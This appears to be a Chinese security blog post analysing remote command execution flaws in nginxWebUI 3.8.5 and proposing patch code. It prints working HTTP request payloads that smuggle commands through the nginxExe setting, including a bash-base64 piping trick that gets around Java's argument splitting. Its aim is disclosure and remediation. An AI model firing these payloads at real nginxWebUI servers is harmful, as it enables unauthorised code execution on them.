记一次nginxWebUI3.8.5版本的RCE分析及修复建议

admin 2024年2月26日13:44:31评论8 views字数 3758阅读12分31秒阅读模式

前言

临时接到通知说要防个网站用作钓鱼,在一系列的阻碍之下,只好自己手搓一套钓鱼框架,第一时间也就想到了nginx,于是乎我就想起来前段时间审计过的nginxWebUI正好方便拿来使用,UI操作就是快。但印象里当时即使是最新版的nginxWebUI后台仍存在RCE,因此重新审计回看这套代码,顺便当一回开发,在不影响业务的前提下如何修复漏洞。

历史漏洞

漏洞分析

其实大概在3.6.2版本之后,nginxWebUI就开始陆续修复/adminPage/conf/runCmd接口的rce,但RCE漏洞仍然存在,在3.6.5之后针对该接口代码就基本没有什么改动了。这里先看一下作者之前的修复方式。
com.cym.controller.adminPage.ConfController#isAvailableCmd承担了防御命令执行的重大使命

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

  1. 可控的cmd先判断是否符合switch中各项条件,若一致则提前返回true
    private boolean isAvailableCmd(String cmd) {
    // 检查命令格式
     switch (cmd) {
         case "net start nginx":
         case "service nginx start":
         case "systemctl start nginx":
         case "net stop nginx":
         case "service nginx stop":
         case "systemctl stop nginx":
         case "taskkill /f /im nginx.exe":
         case "pkill nginx":
             return true;
         default:
             break;
     }
  2. 前端传入cmd是否与nginx相关命令一致
    if (cmd.equals(settingService.get("nginxExe") + " -s stop" + dir)) {
     return true;
    }
    if (cmd.equals(settingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir)) {
     return true;
    }

    这种方式看似将cmd变为不可控变量交给RuntimeUtil.exec函数执行,实际上nginxExe在系统中也是用户可控的,其作用是用户设定nginx路径等相关配置

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

ToolUtils.handlePath会过滤这些参数中的特殊字符

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

所以攻击者只需要将nginxExe与cmd设定为特定payload,使上文cmd.equals成立即可。不过即使这样也无法避免的会将" -c " + settingService.get("nginxPath") + dir" -s stop" + dir带入到RuntimeUtil.exec中执行,此时linux中的分隔符也已被过滤,诸如反弹shell之类的大部分命令都无法执行,因此这里对漏洞的修复也算是收敛了攻击面。笔者这里能想到的是只能执行诸如ping这种含有-c或者其他相关命令了,如有错误欢迎指正。

漏洞复现

此处我想满足的是com.cym.controller.adminPage.ConfController#isAvailableCmd的这段条件

if (cmd.equals(settingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir)) {
    return true;
}

当传入的nginxExe、nginxPath传入如下内容后,cmd则为ping${IFS}jitmszgnmy.dgrh3.cn -c 1

POST http://localhost:8085/adminPage/conf/saveCmd HTTP/1.1
Host: localhost:8085

nginxExe=ping${IFS}jitmszgnmy.dgrh3.cn&nginxPath=1

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

成功调用cmd执行ping命令

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

迟迟未修的RCE漏洞

上文中分析到nginxExe可控,代码中还有多处对该参数执行RCE等相关操作。例如:com.cym.controller.adminPage.ConfController#check,跟上文不同,该处RCE可执行任意代码。

漏洞分析

nginxExe可控,当其为空时,则会从settingService.get中获取,且被ToolUtils.handlePath过滤处理

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

假如不为空,则直接被拼接至cmd中,交由RuntimeUtil.execForStr执行

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

然而就算到这一步又会碰到一个老问题:命令无法执行

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

但shell中是可以正常执行的

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

这里涉及到的是老生常谈的知识点:java命令执行,这里就不再赘述,简单分析下此处的原因:
cn.hutool.core.util.RuntimeUtil#cmdSplit会以空格为分隔符将cmd分割

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

cmd数组接着会传递至java.lang.ProcessBuilder#start函数,在 该方法中将 cmdarry 第一个参数 cmdarry[0] 当作要执行的命令,把后面的 cmdarry[1:]作为命令执行的参数转换成 byte 数组 argBlock,此时执行语义已经被更改,正常在shell中能够执行的语句也就无法执行了。而在bash和base64的帮助下可以打通这里的RCE。
另外,该接口传入的json参数需要符合特定json类型要求才能成功触发RCE

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

漏洞复现

功能点在检验文件处,nginx执行命令则为可控的nginxExe参数

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

POST http://localhost:8085/adminPage/conf/check HTTP/1.1
Host: localhost:8085

nginxPath=&nginxExe=bash+-c+{echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==}|{base64,-d}|{bash,-i}&nginxDir=&json={"nginxPath":"","nginxContent":"","subContent":[],"subName":[]}

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

未知攻,焉知防

该接口的RCE至今未修,可能作者也是比较无奈不知该如何修正,因为nginxExe为用户设定nginx文件路径,从功能角度来看该接口是用来执行nginx命令来校验conf文件,传入参数可控+必不可少的需要直接执行命令,除了黑名单似乎没有什么好办法了。
而我这里想到的修复方式是:

  1. 将全局nginxExe都通过ToolUtils.handlePath处理
  2. 验证用户传入参数是否为文件
    既然nginxExe可控,且含义为nginx路径,因此直接可以用isFile函数来判断用户传入参数是否为文件
  3. 验证文件是否为nginx
    这里我的方案是执行nginx -v 操作,通版本号的输出来判断是否为nginx。原本想的是计算hash来进行比对,但nginx毕竟是编译使用的,比对hash并不现实。如果有师傅有其他的good idea欢迎来提!
    添加代码如下:

    try{
     //既然nginxExe可控,且含义为nginx路径,因此直接可以用isFile函数来判断用户传入参数是否为文件
     File file = new File(nginxExe);
     boolean isFile = file.isFile();
     if (!isFile){
         return renderSuccess("not nginx filepath");
     }else {
         //如果是文件,执行-v操作,来判断是否为nginx
         rs = RuntimeUtil.execForStr(nginxExe + " -v");
         if (!rs.contains("nginx version")){
             return renderSuccess("not nginx");
         }
     }
    }catch (Exception e){
     logger.error(e.getMessage(), e);
     rs = e.getMessage().replace("n", "<br>");
    }

    实际效果如下:
    正常进行文件校验:

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

用户输入恶意代码:

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

执行其他非nginx文件,实际这里也是通过调用RuntimeUtill执行来验证是否为nginx,假如服务器已经被上传了马子,通过nginxwebui来触发执行马子,那谁也拦不住哈哈,只能说尽可能的收缩攻击利用面,增大漏洞利用难度

记一次nginxWebUI3.8.5版本的RCE分析及修复建议

总结

nginxWebUI的rce虽然是个老洞,但历时那么久仍未完全修复也是比较令人遗憾的。开发的目的毫无疑问是设计一套方便开发、运维人员管理nginx的ui产品。一键启动固然方便,但从安全角度来看,在配置文件校验、文件启动功能上为了方便用户而造成的任意代码执行,是完全可以避免的。还是那句话,永远不能相信前端用户的输入,假如这套系统做的绝一点,直接添加一键安装编译nginx的功能(前端版本号可控-下载对应文件-解压编译),这样也就一劳永逸了。
至此也算是收敛了RCE利用面,开发没打的补丁,臭安服帮他打~ 这样系统开在公网也心安了一丝丝。

来源:【https://xz.aliyun.com/】

原文始发于微信公众号(船山信安):记一次nginxWebUI3.8.5版本的RCE分析及修复建议

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月26日13:44:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次nginxWebUI3.8.5版本的RCE分析及修复建议https://cn-sec.com/archives/2525772.html

发表评论

匿名网友 填写信息